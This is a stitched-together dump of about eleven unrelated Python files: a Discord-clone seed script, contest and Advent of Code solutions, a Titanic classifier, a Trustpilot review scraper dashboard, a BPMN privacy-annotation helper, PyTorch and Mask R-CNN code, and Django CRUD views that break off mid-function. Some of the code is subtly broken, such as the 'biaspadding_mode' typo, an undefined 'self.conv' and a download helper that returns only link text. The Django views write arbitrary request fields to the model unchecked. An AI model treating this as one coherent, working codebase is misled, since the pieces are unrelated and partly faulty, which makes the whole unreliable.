from app.models import db, Server, environment, SCHEMA

def seed_servers():

    server1 = Server(
        name="App Academy",
        owner_id=1,
        icon_url="https://top10codingbootcamps.com/wp-content/uploads/2022/06/Untitled-design-21.png",
        description="A place for App Academy Sept 2022 cohort students to connect!",
    )

    server2 = Server(
        name="World Cup Fans",
        owner_id=3,
        icon_url="https://media.cnn.com/api/v1/images/stellar/prod/221219105607-messi-crowd-world-cup-121822.jpg?c=original&q=w_1376,c_fill",
        description="Discuss all FIFA news and games here!",
    )

    server3 = Server(
        name="FatalBanana's server",
        owner_id=2,
        icon_url="https://media.discordapp.net/attachments/1072278458589261954/1073677188693491762/fatalbanana_icon.png",
        description="WE GONNA GO BANANA'S IN HERE",
    )

    server4 = Server(
        name="MEOW MEOW",
        owner_id=4,
        icon_url="https://dk2dv4ezy246u.cloudfront.net/widgets/sSaZSlIgofq_large.jpg",
        description="I meow, you meow, we all meow",
    )

    server5 = Server(
        name="Milk Tea",
        owner_id=5,
        icon_url="https://pbs.twimg.com/media/EfnsfM2UMAATMyP.jpg",
        description="A safe place for cow and boba lovers!",
    )

    server6 = Server(
        name="Python",
        owner_id=1,
        icon_url="https://images.ctfassets.net/mrop88jh71hl/55rrbZfwMaURHZKAUc5oOW/9e5fe805eb03135b82e962e92169ce6d/python-programming-language.png",
        description="Server for Python.",
    )

    server7 = Server(
        name="Javascript",
        owner_id=1,
        icon_url="https://vegibit.com/wp-content/uploads/2014/04/Javascript-JS.png",
        description="Server for Javascript.",
    )

    server8 = Server(
        name="Papertalk",
        owner_id=9,
        icon_url="https://s.hdnux.com/photos/01/26/52/72/22720133/4/1200x0.jpg",
        description="Talk paper to me.",
    )

    server9 = Server(
        name="Welcome to Datcord!",
        owner_id=17,
        icon_url="https://media.discordapp.net/attachments/1072663876040146944/1075539563784704060/favicon.png",
        description="Official Datcord Welcome Server",
    )

    server10 = Server(
        name="The Last Blockbuster",
        owner_id=5,
        icon_url="https://cdn.mos.cms.futurecdn.net/35af26903d70fb40e85933743adfb24d.jpg",
        description="Please support us!",
    )

    db.session.add_all(
        [
            server8,
            server2,
            server3,
            server4,
            server5,
            server6,
            server7,
            server1,
            server9,
            server10,
        ]
    )

    db.session.commit()

def undo_servers():
    if environment == "production":
        db.session.execute(
            f"TRUNCATE table {SCHEMA}.servers_table RESTART IDENTITY CASCADE;"
        )
    else:
        db.session.execute("DELETE FROM servers_table")

    db.session.commit()


FILENAME = "input2.txt"

def main1(noun, verb):
    with open(FILENAME) as f:
        line = f.readline()
    thelist = line.split(",")
    thelist = [int(it) for it in thelist]
    thelist[1] = noun
    thelist[2] = verb
    iterator = iter(thelist)
    opcode = next(iterator)
    while opcode != 99:
        op1 = next(iterator)
        op2 = next(iterator)
        loc = next(iterator)
        if opcode == 1:
            res = thelist[op1] + thelist[op2]
        elif opcode == 2:
            res = thelist[op1] * thelist[op2]
        else:
            print("Danger, Will Robinson!")
            return
        thelist[loc] = res
        opcode = next(iterator)
    return thelist[0]

def main2():
    for noun in range(0, 100):
        for verb in range(0, 100):
            output = main1(noun, verb)
            if output == 19690720:
                return noun, verb

if __name__ == "__main__":
    print(main1(12, 2))
    print(main2())


# -*- coding: utf-8 -*-
"""
Created on Sat Jan 26 13:45:49 2019

@author: vlade
"""
### This is a script that takes a look at the famous Titanic dataset (downloaded from Kaggle)
### The idea here is to predict whether the passenger would survive

import os
import numpy as np
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
import statsmodels.api as sm
from sklearn.model_selection import train_test_split
from sklearn.metrics import classification_report, confusion_matrix

os.chdir("C:\\Users\\vlade\\Documents\\Python Scripts\\Kaggle\\Titanic") # Change directory to your own
train = pd.read_csv("train.csv")
test = pd.read_csv("test.csv")
#train = pd.concat([train, test])

# Taking a brief look at the data
train.info()
train.describe()
train.head()

# Look for missing data
plt.figure(figsize = (10, 6))
sns.heatmap(train.isnull(),yticklabels=False,cbar=False,cmap='viridis')

### Age needs to be filled in, cabin column should be dropped.
### To fill in age we could build a simple regression model that takes age
### as a function of sex and pclass
sns.boxplot(data = train, x = "Pclass", y = "Age", hue = "Sex")

### Some feature engineering
###
### 1) Turn the title of passenger name into dummy variable

ser = pd.Series(train["Name"])
names = ser.str.extract(r'([A-Z]{1}[a-z]*\.)')
train["Name"] = names

### From the boxplot we can see that sex and pclass seem to be good predictors
### of age. Now we fill in with average for different classes and sex.
cols = ["Sex", "Embarked", "Name"]
train = pd.get_dummies(train, columns = cols, drop_first = True)

# Drop unused series
train.drop(["Cabin", "PassengerId", "Ticket"], inplace = True, axis = 1)

def impute_age(cols):
    Age = cols[0]
    Pclass = cols[1]
    Sex = cols[2]

    if pd.isnull(Age):
        return train.loc[(train["Pclass"] == Pclass)
                         & (train["Sex_male"] == Sex)]["Age"].mean()
    else:
        return Age

train["Age"] = train[["Age", "Pclass", "Sex_male"]].apply(impute_age, axis = 1)

X_train, X_test, y_train, y_test = train_test_split(train.drop('Survived',axis=1),
                                                    train['Survived'], test_size=0.40,
                                                    random_state=101)

### Begin looking at different machine learning methods
###
### 1) Logistic Regression

from sklearn.linear_model import LogisticRegression

logmodel = LogisticRegression()
logmodel.fit(X_train, y_train)
log_pred = logmodel.predict(X_test)

print(classification_report(y_test, log_pred))
print(confusion_matrix(y_test, log_pred))

### 2) K Nearest Neighbours

from sklearn.neighbors import KNeighborsClassifier

error_rate = []

# Use elbow method to select n_neighbours - may take some time
for i in range(1,40):

    knn = KNeighborsClassifier(n_neighbors=i)
    knn.fit(X_train,y_train)
    pred_i = knn.predict(X_test)
    error_rate.append(np.mean(pred_i != y_test))

plt.figure(figsize=(10,6))
plt.plot(range(1,40),error_rate,color='blue', linestyle='dashed', marker='o',
         markerfacecolor='red', markersize=10)
plt.title('Error Rate vs. K Value')
plt.xlabel('K')
plt.ylabel('Error Rate')

# Graph shows somewhere between 5 and 10. I will choose 7.

knmodel = KNeighborsClassifier(n_neighbors = 7)
knmodel.fit(X_train,y_train)
kn_pred = knmodel.predict(X_test)

print(classification_report(y_test, kn_pred))
print(confusion_matrix(y_test, kn_pred))

### 3) Random Forests

from sklearn.ensemble import RandomForestClassifier

rfc = RandomForestClassifier(n_estimators = 200)
rfc.fit(X_train, y_train)
rfc_pred = rfc.predict(X_test)

print(classification_report(y_test, rfc_pred))
print(confusion_matrix(y_test, rfc_pred))


import sys
from collections import deque

N, L, R = map(int, sys.stdin.readline().split())
graph = [list(map(int, sys.stdin.readline().split())) for _ in range(N)]
dx = [-1,1,0,0]
dy = [0,0,-1,1]
move_true = False

def bfs(x,y):
    #국경 간 이동 유무
    global move_true
    q = deque()
    q.append((x,y))
    #방문 처리
    visited[x][y] = True
    #연합 인구수
    sum_human = graph[x][y]
    #연합 수
    count = 1
    #연합의 위치
    near_country = [(x,y)]
    while q:
        x, y = q.popleft()
        for i in range(4):
            nx = x + dx[i]
            ny = y + dy[i]
            if nx < 0 or nx >= N or ny < 0 or ny >= N:
                continue
            if not visited[nx][ny] and L <= abs(graph[nx][ny]-graph[x][y]) <= R:
                sum_human += graph[nx][ny]
                count += 1
                visited[nx][ny] = True
                q.append((nx,ny))
                near_country.append((nx,ny))
    #인구 이동 발생 시
    if count > 1:
        move_true = True
        cal_human = sum_human//count
        for cx, cy in near_country:
            graph[cx][cy] = cal_human
    return move_true

#인구 이동 일수
day_result = 0
while True:
    visited = [[False]*N for _ in range(N)]
    move_true = False
    for i in range(N):
        for j in range(N):
            if not visited[i][j]:
                move_true = bfs(i,j)
    if not move_true:
        break
    day_result += 1
print(day_result)


import json
import pandas as pd
import xml.etree.ElementTree as ET
import pm4py
import uuid

def convert_to_sorted_list(s:str):
    if type(s) != str:return s
    l = json.loads(s.replace("\'","\""))
    if type(l)==list: l.sort()
    return l

def generate_data_disclosed_uuid(s:pd.Series,id_key="@_id",category_key="@category",legal_bases_key="tilt:legalBases",purposes_key="tilt:purposes")->dict:
    legal_bases = convert_to_sorted_list(s["tilt:legal_bases"])
    purposes = convert_to_sorted_list(s["tilt:purposes"])
    element={
        category_key:s["tilt:data_disclosed"],
        purposes_key:purposes,
        legal_bases_key:legal_bases
    }
    return uuid.uuid5(uuid.NAMESPACE_URL,str(element))

def build_data_disclosed_element(s:pd.Series)->dict:
    legal_bases = [{"reference": i ,"description":None} for i in convert_to_sorted_list(s["tilt:legal_bases"])]
    purposes = [{"purpose": i ,"description":None} for i in convert_to_sorted_list(s["tilt:purposes"])]
    return {
        "_id":s["id"],
        "category":s["tilt:data_disclosed"],
        "legalBases":legal_bases,
        "purposes":purposes
    }

def get_data_disclosed_df(df):
    tilt_columns = [tilt_column for tilt_column in df.columns if tilt_column.startswith("tilt:")]
    for c in tilt_columns:
        df[c] = df[c].apply(convert_to_sorted_list)
    dd_df = df[["ident:eid","concept:name"]+tilt_columns]
    for c in [c for c in tilt_columns if c != "tilt:data_disclosed"]:
        dd_df[c] = dd_df[c].apply(lambda x: str(x))
    dd_df = dd_df.set_index(["ident:eid","concept:name"]+[c for c in tilt_columns if c != "tilt:data_disclosed"])
    dd_df = dd_df.apply(lambda x: pd.Series(x).explode()).reset_index()
    dd_df["id"] = dd_df[tilt_columns].apply(generate_data_disclosed_uuid,axis=1)
    unique_dd = dd_df.drop_duplicates(subset="id")
    unique_dd["tilt:element"] = unique_dd.apply(build_data_disclosed_element,axis=1)
    return pd.merge(left=dd_df,right=unique_dd[["id","tilt:element"]], on="id")

def append_tilt_information_to_bpmn(bpmn,df):
    ns = {
    "bpmn":"http://www.omg.org/spec/BPMN/20100524/MODEL",
    "tilt":"mytilturi.com"}
    ET.register_namespace("tilt","mytiltURI.com")
    ET.register_namespace("bpmn","http://www.omg.org/spec/BPMN/20100524/MODEL")
    ET.register_namespace("bpmndi","http://www.omg.org/spec/BPMN/20100524/DI")
    ET.register_namespace("omgdc","http://www.omg.org/spec/DD/20100524/DC")
    ET.register_namespace("omgdi","http://www.omg.org/spec/DD/20100524/DI")
    ET.register_namespace("xsi","http://www.w3.org/2001/XMLSchema-instance")
    ET.register_namespace("xsd","http://www.w3.org/2001/XMLSchema")

    pm4py.write_bpmn(bpmn,"/tmp/temp.bpmn")
    tree = ET.parse("/tmp/temp.bpmn")
    root = tree.getroot()

    for task in root.find("bpmn:process",ns).findall("bpmn:task",ns):
        extensionElements = ET.SubElement(task,"bpmn:extensionElements")
        concept_name = task.attrib["name"]
        relevant_df = df[df["concept:name"]==concept_name].drop_duplicates("id")
        for id in relevant_df["id"].value_counts().index:
            elements = relevant_df[relevant_df["id"]==id]["tilt:element"].values
            if len(elements) != 0:
                dataElement = elements[0]
            else:
                continue
            dataDisclosed = ET.SubElement(extensionElements,"tilt:dataDisclosed")
            dataDisclosed.attrib["_id"] = str(id)
            dataDisclosed.attrib["category"] = dataElement["category"]
            for x in dataElement["legalBases"]:
                lb = ET.SubElement(dataDisclosed,"tilt:legalBases")
                lb.attrib["reference"] = x["reference"]
            for x in dataElement["purposes"]:
                lb = ET.SubElement(dataDisclosed,"tilt:purposes")
                lb.attrib["purpose"] = x["purpose"]
    tree.write("/tmp/temp_with_tilt.bpmn")
    with open("/tmp/temp_with_tilt.bpmn") as f:
        xml = f.read()
        f.close()
    return xml


import torch
import torchvision

from maskrcnn_benchmark.structures.bounding_box import BoxList
from maskrcnn_benchmark.structures.segmentation_mask import SegmentationMask

from maskrcnn_benchmark.structures.ke import textKES
from maskrcnn_benchmark.structures.mty import MTY

DEBUG = 0

class WordDataset(torchvision.datasets.coco.CocoDetection):
    def __init__(
        self, ann_file, root, remove_images_without_annotations, transforms=None
    ):
        super(WordDataset, self).__init__(root, ann_file)
        # sort indices for reproducible results
        self.ids = sorted(self.ids)

        # filter images without detection annotations
        if remove_images_without_annotations:
            self.ids = [
                img_id
                for img_id in self.ids
                if len(self.coco.getAnnIds(imgIds=img_id, iscrowd=None)) > 0
            ]

        self.json_category_id_to_contiguous_id = {
            v: i + 1 for i, v in enumerate(self.coco.getCatIds())
        }
        self.contiguous_category_id_to_json_id = {
            v: k for k, v in self.json_category_id_to_contiguous_id.items()
        }
        self.id_to_img_map = {k: v for k, v in enumerate(self.ids)}
        self.transforms = transforms

    def kes_encode(self, kes):
        kes_encode = []
        for i in kes:
            mnx = i[0]
            mny = i[1]
            assert(len(i)%3 == 0)
            npts = int(len(i)/3-2)
            for index in range(npts):
                i[3+index*3]  = (i[3+index*3]+mnx)/2
                i[4+index*3]  = (i[4+index*3]+mny)/2
            kes_encode.append(i)
        return kes_encode

    def kes_gen(self, kes):
        kes_gen_out = []
        for i in kes:
            mnx = i[0]
            mny = i[1]
            cx= i[27]
            cy= i[28]
            assert(len(i)%3 == 0)
            ot = [mnx, i[3],i[6],i[9],i[12], cx,\
                  mny, i[16],i[19],i[22],i[25], cy]
            kes_gen_out.append(ot)
        return kes_gen_out

    def __getitem__(self, idx):
        img, anno = super(WordDataset, self).__getitem__(idx)

        # filter crowd annotations
        # TODO might be better to add an extra field
        anno = [obj for obj in anno if obj["iscrowd"] == 0]

        boxes = [obj["bbox"] for obj in anno]
        if DEBUG: print('len(boxes)', len(boxes), boxes[0])
        boxes = torch.as_tensor(boxes).reshape(-1, 4)  # guard against no boxes
        target = BoxList(boxes, img.size, mode="xywh").convert("xyxy")

        classes = [obj["category_id"] for obj in anno]
        if DEBUG: print('len(classes)', len(classes), classes[0])
        classes = [self.json_category_id_to_contiguous_id[c] for c in classes]
        classes = torch.tensor(classes)
        target.add_field("labels", classes)

        masks = [obj["segmentation"] for obj in anno]
        if DEBUG: print('len(masks)', len(masks), masks[0])
        masks = SegmentationMask(masks, img.size)
        target.add_field("masks", masks)

        if anno and 'keypoints' in anno[0]:
            kes = [obj["keypoints"] for obj in anno]
            kes = self.kes_gen(kes)
            if DEBUG: print('len(kes)', len(kes), kes[0])
            kes = textKES(kes, img.size)
            target.add_field("kes", kes)

        if anno and 'match_type' in anno[0]:
            mty = [obj["match_type"] for obj in anno]
            mty = MTY(mty, img.size)
            target.add_field("mty", mty)

        target = target.clip_to_image(remove_empty=True)

        if self.transforms is not None:
            img, target = self.transforms(img, target)

        return img, target, idx

    def get_img_info(self, index):
        img_id = self.id_to_img_map[index]
        img_data = self.coco.imgs[img_id]
        return img_data


from queue import PriorityQueue

k, n = map(int, input().split())  # tournament pool size, number of years of tournament
karl_year, karl_strength = map(int, input().split())
pq = PriorityQueue()

moose_strengths_by_year = [-1 for _ in range(2011+n+1)]

if karl_year == 2011:
    pq.put(-karl_strength)
else:
    moose_strengths_by_year[karl_year] = -karl_strength

for i in range(k+n-2):
    year, strength = map(int, input().split())
    if year == 2011:
        pq.put(-strength)
    else:
        moose_strengths_by_year[year] = -strength

year_karl_won = "unknown"
for i in range(2011, 2011+n):
    strength_of_winner = pq.get()
    if strength_of_winner == -karl_strength:
        year_karl_won = i
    pq.put(moose_strengths_by_year[i+1]) # doesn't need to be run on last iteration but w/e

print(year_karl_won)


import streamlit as st
import pandas as pd
from datetime import datetime as dt
from datetime import timedelta
import plotly.express as px
import base64
import requests
import math
from bs4 import BeautifulSoup
import random
import time
import json
import numpy as np
import re
import nltk
nltk.download('stopwords')
nltk.download('wordnet')
from nltk.corpus import stopwords
from nltk.stem.porter import PorterStemmer
from nltk.tokenize import RegexpTokenizer
from nltk.stem.wordnet import WordNetLemmatizer
from sklearn.feature_extraction.text import CountVectorizer
import seaborn as sns

# Create a list of stop words from nltk

stop_words = set(stopwords.words("english"))
other_stop_words = ['pay','current','month','much','per','need','get']
stop_words = stop_words.union(other_stop_words)

# View most frequently occuring keywords

def get_top_n_words(corpus, n=None):
    vec = CountVectorizer().fit(corpus)
    bag_of_words = vec.transform(corpus)
    sum_words = bag_of_words.sum(axis=0)
    words_freq = [(word, sum_words[0, idx]) for word, idx in
                   vec.vocabulary_.items()]
    words_freq =sorted(words_freq, key = lambda x: x[1],
                       reverse=True)
    return words_freq[:n]

# Most frequently occuring bigrams

def get_top_n2_words(corpus, n=None):
    vec1 = CountVectorizer(ngram_range=(2,2),
            max_features=2000).fit(corpus)
    bag_of_words = vec1.transform(corpus)
    sum_words = bag_of_words.sum(axis=0)
    words_freq = [(word, sum_words[0, idx]) for word, idx in
                  vec1.vocabulary_.items()]
    words_freq =sorted(words_freq, key = lambda x: x[1],
                reverse=True)
    return words_freq[:n]

# Most frequently occuring Tri-grams

def get_top_n3_words(corpus, n=None):
    vec1 = CountVectorizer(ngram_range=(3,3),
           max_features=2000).fit(corpus)
    bag_of_words = vec1.transform(corpus)
    sum_words = bag_of_words.sum(axis=0)
    words_freq = [(word, sum_words[0, idx]) for word, idx in
                  vec1.vocabulary_.items()]
    words_freq =sorted(words_freq, key = lambda x: x[1],
                reverse=True)
    return words_freq[:n]

# Analyse the words

def analyse_words(df_input):

    corpus = []
    body_df = df_input.reset_index(drop = True)
    body_df['word_count'] = body_df['body'].apply(lambda x: len(str(x).split(" ")))
    ds_count = len(body_df.word_count)

    for i in range(0, ds_count):

        # Remove punctuation
        text = re.sub('[^a-zA-Z]', ' ', str(body_df['body'][i]))

        # Convert to lowercase
        text = text.lower()

        # Remove tags
        text=re.sub("</?.*?>"," <> ",text)

        # Remove special characters and digits
        text=re.sub("(\\d|\\W)+"," ",text)

        # Convert to list from string
        text = text.split()

        # Stemming
        ps=PorterStemmer()

        # Lemmatisation
        lem = WordNetLemmatizer()
        text = [lem.lemmatize(word) for word in text if not word in
                stop_words]
        text = " ".join(text)
        corpus.append(text)

    cv=CountVectorizer(max_df=0.8,stop_words=stop_words, max_features=10000, ngram_range=(1,3))
    X=cv.fit_transform(corpus)

    return corpus

# Convert most freq words to dataframe for plotting bar plot

def most_common_keywords(corpus):

    top_words = get_top_n_words(corpus, n=20)
    top_df = pd.DataFrame(top_words)
    top_df.columns=["Keyword", "Frequency"]

    return top_df

# Convert most freq bigrams to dataframe for plotting bar plot

def most_common_bigrams(corpus):

    top2_words = get_top_n2_words(corpus, n=20)
    top2_df = pd.DataFrame(top2_words)
    top2_df.columns=["Bi-gram", "Frequency"]
    return top2_df

# Convert most freq trigrams to dataframe for plotting bar plot

def most_common_trigrams(corpus):

    top3_words = get_top_n3_words(corpus, n=20)
    top3_df = pd.DataFrame(top3_words)
    top3_df.columns=["Tri-gram", "Frequency"]
    return top3_df

#Function to download results as a CSV

def download_link(object_to_download, download_filename, download_link_text):

    if isinstance(object_to_download,pd.DataFrame):
        object_to_download = object_to_download.to_csv(index=False)

    # some strings <-> bytes conversions necessary here
    b64 = base64.b64encode(object_to_download.encode()).decode()
    return f'{download_link_text}'

#Function to sleep for a random time

def sleep_random(x,y):
    time.sleep(random.randint(x,y))

#Scrape reviews function

@st.cache(suppress_st_warning=True,allow_output_mutation=True)
def scrape_trustpilot_reviews(url):

    # Trustpilot review page
    reviewPage = url

    # Trustpilot default
    resultsPerPage = 20

    # Throttling to avoid spamming page with requests
    # With sleepTime seconds between every page request
    throttle = True
    sleepTime = 1

    # Find number of pages
    req = requests.get(reviewPage).text
    soup = BeautifulSoup(req,'html.parser')
    reviews = soup.find("span", class_ = "headline__review-count").text.replace(',','')
    review_count = int(reviews)
    #st.write('Company has total reviews of ',review_count)
    pages = math.ceil(review_count / resultsPerPage)
    #st.write('Found total of ' + str(pages) + ' pages to scrape')

    #Create base dataframe
    data = {'title': [], 'body': [],'rating':[],'created_at':[]}
    df = pd.DataFrame.from_dict(data)

    my_bar = st.progress(0.0)

    #Loop through pages
    for i in range(1,pages+2):

        percent_complete = (i)/pages
        my_bar.progress(percent_complete)

        if(throttle): time.sleep(sleepTime)

        if i == 1:

            req = requests.get(reviewPage).text
            soup = BeautifulSoup(req,'html.parser')
            review_body = soup.find_all("div",class_ = "review-content")
            next_page_button = soup.find("nav",class_ = 'pagination-container AjaxPager')
            next_page_url = 'https://uk.trustpilot.com/' + next_page_button.a['href']

        else:

            req = requests.get(next_page_url).text
            soup = BeautifulSoup(req,'html.parser')
            review_body = soup.find_all("div",class_ = "review-content")
            if soup.find("a",class_ = 'button button--primary next-page') is not None:

                next_page_button = soup.find("a",class_ = 'button button--primary next-page')
                next_page_url = 'https://uk.trustpilot.com/' + next_page_button['href']

            else:

                break

        for j in range(0,19):

            stars = review_body[j].img['alt'].strip().split(' ')[0]
            heading = review_body[j].a.text.strip()
            if review_body[j].p is not None:
                body = review_body[j].p.text.strip()
            else:
                body = ''
            json_object = json.loads(review_body[j].script.contents[0])
            review_date = json_object['publishedDate']
            new_row = {'title':heading, 'body':body, 'rating':stars, 'created_at':review_date}
            df = df.append(new_row,ignore_index = True)

    return df

st.set_page_config(layout="wide")
st.title("Trustpilot Dashboard")
st.write("This tool fetches Trustpilot reviews and runs some basic analysis")
st.write("Developed by [Eka Ventures](https://www.ekavc.com/)")

#Collect desired page to analyse
st.sidebar.write("Enter the Trustpilot page to analyse")
url = st.sidebar.text_input('Input Trustpilot URL:')
run_button = st.sidebar.checkbox("Fetch Trustpilot Reviews")
st.sidebar.write("Choose the reviews you would like to analyse for Section 3")
reviews_of_interest = st.sidebar.multiselect("Rewiews to analyse:",('1','2','3','4','5'),['1','2','3','4','5'])

if run_button == True:

    df = scrape_trustpilot_reviews(url)
    df2 = df

    df2['date'] = df2['created_at'].apply(lambda x: pd.Timestamp(x).strftime('%Y-%m-%d'))
    df2['day'] = pd.to_datetime(df2['date'])
    df2["Day_of_Week"] = df2.day.dt.weekday
    df2["created_at_week"] = df2.apply(lambda x: x['day'] - timedelta(days=x['Day_of_Week']), axis=1).dt.date
    df2['month'] = df2['day'].to_numpy().astype('datetime64[M]')
    df2['created_at_month'] = df2['month'].dt.date
    df_download = df2[['date','rating','title','body']]

    st.subheader("Section 1: Trustpilot Reviews")
    st.write('Below is a sample of the results found:')
    st.write(df_download.head(10))

    #df_final = df[["day","created_at_week","created_at_month","title","body","rating"]]

    if st.button('Download Trustpilot Reviews'):
        tmp_download_link = download_link(df_download, 'Trustpilot_reviews.csv', 'Click here to download your data!')
        st.markdown(tmp_download_link, unsafe_allow_html=True)

    #df.groupby(["created_at_month", "rating"]).size()

    count_of_reviews = df2.groupby(["created_at_month", "rating"]).size().reset_index(name="review_count")
    count_of_reviews_2 = count_of_reviews
    count_of_reviews_2['rating'] = count_of_reviews_2['rating'].astype(str)

    st.subheader("Section 2: Trending Trustpilot Reviews")

    fig = px.bar(count_of_reviews_2,
                x="created_at_month",
                y="review_count",
                color="rating",
                title="Trustpilot Review Count",
                labels={
                        "created_at_month": "Month",
                        "review_count": "Reviews",
                        "rating": "Rating"
                    },
                color_continuous_scale='Bluered_r',
                category_orders={"rating": ['5','4','3','2','1']},
                width = 1280,
                height = 600
    )

    st.plotly_chart(fig)

    df3 = count_of_reviews.groupby(['created_at_month'])['review_count'].agg('sum')
    df4 = count_of_reviews.merge(df3, left_on = 'created_at_month',right_on = 'created_at_month')
    df4.rename(columns={'review_count_x':'review_count','review_count_y':'total'}, inplace=True)
    df4.sort_values(by=['created_at_month'])
    df4['proportion'] = (100*df4['review_count']/df4['total']).round(1)

    fig2 = px.line(df4,
                x="created_at_month",
                y="proportion",
                title = 'Proportion of Reviews by Rating',
                color='rating',
                width = 1280,
                height = 600,
                category_orders={"rating": ['5','4','3','2','1']},
                labels={
                        "created_at_month": "Month",
                        "proportion": "Percentage",
                        "rating": "Rating"
                    }
                    )
    st.plotly_chart(fig2)

    dataset1 = df_download['rating'].astype(str)
    dataset2 = df_download[df_download['rating'].isin(reviews_of_interest)]
    dataset = dataset2[['date','body']]

    st.subheader("Section 3: Trustpilot Review Themes")

    words = analyse_words(dataset)
    keywords = most_common_keywords(words)
    bigrams = most_common_bigrams(words)
    trigrams = most_common_trigrams(words)

    fig3 = px.bar(keywords,
                    x='Keyword',
                    y='Frequency',
                    title = 'Most Common Keywords',
                    width = 1280,
                    height = 600,)

    st.plotly_chart(fig3)

    fig4 = px.bar(bigrams,
                    x='Bi-gram',
                    y='Frequency',
                    title = 'Most Common Bi-Grams',
                    width = 1280,
                    height = 600,)

    st.plotly_chart(fig4)

    fig5 = px.bar(trigrams,
                    x='Tri-gram',
                    y='Frequency',
                    title = 'Most Common Tri-Grams',
                    width = 1280,
                    height = 600,)

    st.plotly_chart(fig5)


for i in range(int(input())):
    a, b, c, d = map(int, input().split())
    winAB = max(a,b)
    loseAB = min(a,b)
    winCD = max(c,d)
    loseCD = min(c,d)
    if winAB>loseCD and winCD>loseAB:
        print("YES")
    else:
        print("NO")


# Code adapted from https://github.com/henzler/neuraltexture/blob/master/code/models/core_modules/standard_block.py

from torch import nn
import torch
from plan2scene.texture_gen.nets.core_layers import normalization, non_linearity

class StandardBlock(nn.Module):
    def __init__(self, type, nf_in, nf_out, kernel_size, stride, padding, norm_type=None, activation_type=None,
                 dropout_ratio=0.0, bias=True, padding_mode='zeros'):
        super().__init__()

        # shortcut if features have different size
        self.n_features_in = nf_in
        self.n_features_out = nf_out

        self.norm_type = norm_type
        self.bias = bias
        norm = normalization(norm_type)
        activation = non_linearity(activation_type)

        if type == 'linear':
            layer = torch.nn.Linear
            dropout = torch.nn.Dropout
            self.layer = layer(nf_in, nf_out, bias)

        elif type == 'conv_2d':
            layer = torch.nn.Conv2d
            dropout = torch.nn.Dropout2d
            self.layer = layer(nf_in, nf_out, kernel_size, stride, padding, bias, padding_mode=padding_mode)

        elif type == 'conv_transpose_2d':
            layer = torch.nn.ConvTranspose2d
            dropout = torch.nn.Dropout2d
            self.layer = layer(nf_in, nf_out, kernel_size=kernel_size, stride=stride, padding=padding, bias=bias,
                               padding_mode=padding_mode)

        elif type == 'conv_3d':
            layer = torch.nn.Conv3d
            dropout = torch.nn.Dropout3d
            self.layer = layer(nf_in, nf_out, kernel_size, stride, padding, bias, padding_mode=padding_mode)

        elif type == 'conv_transpose_3d':
            layer = torch.nn.ConvTranspose3d
            dropout = torch.nn.Dropout3d
            self.layer = layer(nf_in, nf_out, kernel_size, stride, padding, biaspadding_mode=padding_mode)

        else:
            raise NotImplementedError

        self.activation = activation()
        self.dropout = dropout(dropout_ratio)

        if self.norm_type == 'specular':
            self.norm = norm(self.conv)
        else:
            self.norm = norm(nf_out)

    def forward(self, input, style=None):

        if self.norm_type == 'specular':
            output = self.norm(input)

        elif self.norm_type == 'adain':
            output = self.layer(input)

            output = self.norm(output, style)
        else:
            output = self.layer(input)

            # output = self.norm(output)

        output = self.activation(output)
        output = self.dropout(output)

        return output

class Conv2dBlock(StandardBlock):
    def __init__(self, nf_in, nf_out, kernel_size, stride, padding, norm_type=None, activation_type=None,
                 dropout_ratio=0.0, bias=True, padding_mode='zeros'):
        super().__init__('conv_2d', nf_in, nf_out, kernel_size, stride, padding, norm_type, activation_type,
                         dropout_ratio, bias, padding_mode=padding_mode)


from django.shortcuts import render
from django.http import HttpResponse
from django.views.decorators.http import require_http_methods
from django.core import serializers
import json

from djangoApp.models import Introduce
# Create your views here.

def updateNum(request):
    # 改 --- 数据表修改数据
    # 遍历此函数对象，并得到部分属性值
    # for f in temp._meta.get_fields():
        # print(getattr(temp, f.name))

    # 解析前端传来的数据
    req = ''
    if request.method == 'POST':
        req = json.loads(request.body)
        if 'ids' in req:
            temp = Introduce.objects.get(id = req['ids'])
            # 转化json为dict
            newDict = {}
            for keys in req:
                if type(req[keys]) == list:
                    for i in req[keys]:
                        newDict[i['key']] = i['inputs']
                else:
                    newDict[keys] = req[keys]
            # 对数据表进行更新
            for keys in newDict:
                setattr(temp, keys, newDict[keys])
                # print(getattr(temp, keys))
            # 保存更新
            temp.save()
        else:
            return HttpResponse({'type': 'error'})
    return HttpResponse(json.dumps({'type': 'success'}), content_type="application/json")

def insertNum(request):
    # 增 --- 数据表添加数据
    req = ''
    newDict = {}
    err = { 'type': 'error' }
    listFile = Introduce.objects.all().values('fileName')
        # 当文件名重复时，不予添加，提示重新填写文件名
    if request.method == 'POST':
        req = json.loads(request.body)
        for i in listFile:
            if req['fileName'] == i['fileName']:
                return HttpResponse(json.dumps(err), content_type="application/json")
        for keys in req:
            if type(req[keys]) == list:
                for i in req[keys]:
                    newDict[i['key']] = i['inputs']
            else:
                newDict[keys] = req[keys]
        Introduce.objects.create(**newDict)
    return HttpResponse(json.dumps({'type': 'success'}), content_type="application/json")

def deleteNum(request):
    # 删 --- 删除某一行数据
    req = ''
    if request.method == 'GET':
        req = request.GET.get('ids')
        Introduce.objects.filter(id = req).delete()
        return HttpResponse(json.dumps({'type': 'success'}), content_type="application/json")

# 依据所传ids查询单一文件
def searchNum(request):
    #查 --- 查数据并封装 -- 格式暂定
    if request.method == 'GET':
        req = request.GET.get('ids')
        # 这种取值方法肯定不科学，暂时还未找到更合理的方式
        res = json.loads(serializers.serialize('json', Introduce.objects.filter(id = req)))
        if not res:
            return HttpResponse(json.dumps({'type': 'error', 'message': '请返回上一级,重新打开此文件'}), content_type="application/json")
        else:
            return HttpResponse(json.dumps(res[0]['fields']), content_type="application/json")

# 查询文件名列表(所有文件)
def showFileList(request):
    listFile = Introduce.objects.all().values('fileName', 'id', 'payment', 'allMoney')
    listF = []
    for item in listFile:
        listF.append(item)
    return HttpResponse(json.dumps(listF), content_type="application/json")

# 依据前端所传参数查询某些文件
def showSomeFile(request):
    if request.method == 'POST':
        req = json.loads(request.body)
        keyword = req['searchData']
        someFile = Introduce.objects.filter(fileName__icontains = keyword)
        listF = []
        dicts = {'fileName': '', 'id': '', 'payment': '', 'allMoney': ''}
        for key in someFile:
            dicts['fileName'] = key.fileName
            dicts['id'] = key.id
            dicts['payment'] = key.payment
            dicts['allMoney'] = key.allMoney
            listF.append(dicts)
            dicts = {'fileName': '', 'id': '', 'payment': '', 'allMoney': ''}
        return HttpResponse(json.dumps(listF), content_type="application/json")

# 更改已入账，未入账的状态
def changePayType(request):
    if request.method == 'POST':
        req = json.loads(request.body)
        if 'ids' in req:
